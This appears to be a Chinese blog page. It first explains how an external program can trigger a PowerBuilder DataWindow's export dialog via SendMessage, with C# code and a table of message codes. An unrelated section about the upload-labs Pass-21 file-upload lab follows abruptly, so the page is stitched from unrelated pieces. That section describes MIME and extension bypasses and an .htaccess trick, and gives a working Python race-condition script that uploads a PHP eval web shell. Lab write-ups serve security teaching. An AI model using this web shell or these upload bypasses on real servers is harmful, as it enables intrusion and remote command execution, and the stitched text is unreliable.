外部程序读取Powerbuilder的数据窗口数据的方法

本文介绍了如何通过调用Powerbuilder数据窗口的API来实现数据的导出。首先,需要获取数据窗口的句柄,这可以通过工具如Spy++或SpyLite24完成。接着,利用SendMessage函数发送特定消息1305,即可触发数据窗口的导出文件功能。在C#中,可以创建Win32API类并调用其SendMessage方法来实现这一操作。若句柄不正确,操作将失败并提示错误信息。

一、原理

    PB数据窗口有一个导出文件的函数,通过调用API向数据窗口传递特定的消息,它就乖乖的弹出一个导出数据文件的窗口了。

 

二、实现步骤

     1、获取数据窗口的句柄。使用spy++工具获取,或者使用工具SpyLite24(http://www.asanscape.com/可以免费下载)

     2、调用让数据窗口导出文件的消息。SendMessage(pbdw_handle, 1305, 0, 0)

 

三、C#代码

 

    public class Win32API
    {
        [DllImport("user32.dll", CharSet=CharSet.Auto)]
        public static extern int SendMessage(IntPtr hWnd, int msg, int wParam, int lParam);
    }

 

调用示例:

           private void button_Click(object sender, EventArgs e)
        {
            try
            {

                IntPtr mwh = (IntPtr)Convert.ToInt32(tbPBDWHandle.Text);
                int result = Win32API.SendMessage(mwh, 1305, 0, 0);

                if (result == 0)
                {
                    MessageBox.Show("操作失败!请确定数据窗口句柄是否正确!");
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.ToString());
            }
        }

 

四、PBDW的其他函数和查看资料

How to manipulate Datawindow without using datawindow functions.

// I test only on PowerBuilder 6.5 build 444

long ll_dw_handle

ll_dw_handle = handle(dw_1)

Function
Power script
RetrievePost(ll_dw_handle, 1306, 0, 0)
Post(ll_dw_handle, 1320, 0, 0)
ScrollNextPagePost(ll_dw_handle, 1318, 0, 0)
ScrollPriorPagePost(ll_dw_handle, 1319, 0, 0)
ScrollToFirstPagePost(ll_dw_handle, 1315, 0, 1) // 1 = first row?
ScrollToLastPagePost(ll_dw_handle, 1315, 0, 99999999) // 99999999 = last page ? pb6 programmer don't know how to get the last page :)
Sort DialogPost(ll_dw_handle, 1309, 0, 0)
Filter DialogPost(ll_dw_handle, 1311, 0, 0)
DeleteRowPost(ll_dw_handle, 1357, 0, 0)
Post(ll_dw_handle, 1307, 0, 0)
Append RowPost(ll_dw_handle, 1357, 0, 0)
Post(ll_dw_handle, 1312, 0, 0)
Post(ll_dw_handle, 1315, 0, dw_1.rowcount() + 1)
Post(ll_dw_handle, 1325, 0, 0)
InsertRowPost(ll_dw_handle, 1357, 0, 0)
Post(ll_dw_handle, 1313, 0, 0)
Post(ll_dw_handle, 1312, 0, dw_1.getrow())
Post(ll_dw_handle, 1315, 0, dw_1.getrow())
Post(ll_dw_handle, 1325, 0, 0)
UpdatePost(ll_dw_handle, 1357, 0, 0)
Post(ll_dw_handle, 1338, 0, 0)
Post(ll_dw_handle, 1304, 0, 0)
SaveAs Dialog Post(ll_dw_handle, 1338, 0, 0)
Post(ll_dw_handle, 1305, 0, 0)
PrintPost(ll_dw_handle, 1303, 0, 0)
Retrieve (yield)Post(ll_dw_handle, 1306, 1, 0)
Post(ll_dw_handle, 1320, 0, 0)
Cancel
Post(ll_dw_handle, 1320, 0, 0)

 

 

upload-labs 项目中,Pass-21 的解题思路主要围绕文件上传时的 **MIME 类型验证绕过** 和 **文件名解析漏洞利用**。虽然未在提供的引用中直接提及 Pass-21 的具体细节,但根据 upload-labs 系列的常见设计逻辑,Pass-21 很可能涉及以下攻击模式: ### 三级标题:MIME 类型验证绕过 在某些关卡中,服务器会通过检查上传文件的 MIME 类型来阻止非图片文件的上传。攻击者可以通过在上传请求中修改 `Content-Type` 字段来绕过该检查,例如将其设置为 `image/jpeg` 或 `image/png`,即使上传的是 `.php` 文件。这种方式常用于绕过前端或服务器端的简单 MIME 类型检测机制[^1]。 ### 三级标题:双重扩展名上传与解析漏洞 服务器端可能使用了不安全的文件名处理方式,例如仅过滤了 `.php` 扩展名,但未对多个扩展名进行处理。攻击者可以尝试上传类似 `shell.php.jpg` 的文件,随后通过某些方式(如 Apache 的解析特性)使服务器将 `.php.jpg` 文件当作 PHP 脚本执行。这种攻击方式依赖于服务器配置不当,例如 Apache 的 `mod_php` 模块会解析最后一个匹配 `.php` 的扩展名。 ### 三级标题:结合 .htaccess 文件实现解析绕过 如果服务器允许上传 `.htaccess` 文件,则攻击者可以上传一个自定义的 `.htaccess` 文件,配置其将特定扩展名(如 `.jpg`)解析为 PHP 脚本。例如,添加如下内容: ```apache AddType application/x-httpd-php .jpg ``` 上传后,再上传一个以 `.jpg` 结尾的 PHP 文件,服务器会将其当作 PHP 脚本执行。这种方式常见于 Linux 环境下的 upload-labs 关卡[^3]。 ### 三级标题:条件竞争与多线程上传 在某些情况下,服务器可能对上传后的文件进行异步检查或清理,攻击者可以利用时间差进行条件竞争攻击。通过并发脚本快速上传并访问恶意文件,从而在文件被删除前完成命令执行。例如使用 Python 脚本进行多线程上传和访问: ```python import threading import requests def upload_file(): url = "http://localhost/upload-labs-master/upload.php" files = {'file': ('shell.php', "<?php @eval($_POST['cmd']); ?>", 'image/jpeg')} data = {'submit': 'Upload'} while True: requests.post(url, files=files, data=data) def access_file(): while True: requests.get("http://localhost/upload-labs-master/uploads/shell.php") threads = [] for _ in range(10): t = threading.Thread(target=upload_file) t.start() threads.append(t) for _ in range(2): t = threading.Thread(target=access_file) t.start() threads.append(t) ``` 此脚本通过并发上传和访问,尝试在服务器清理文件前完成攻击过程。 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值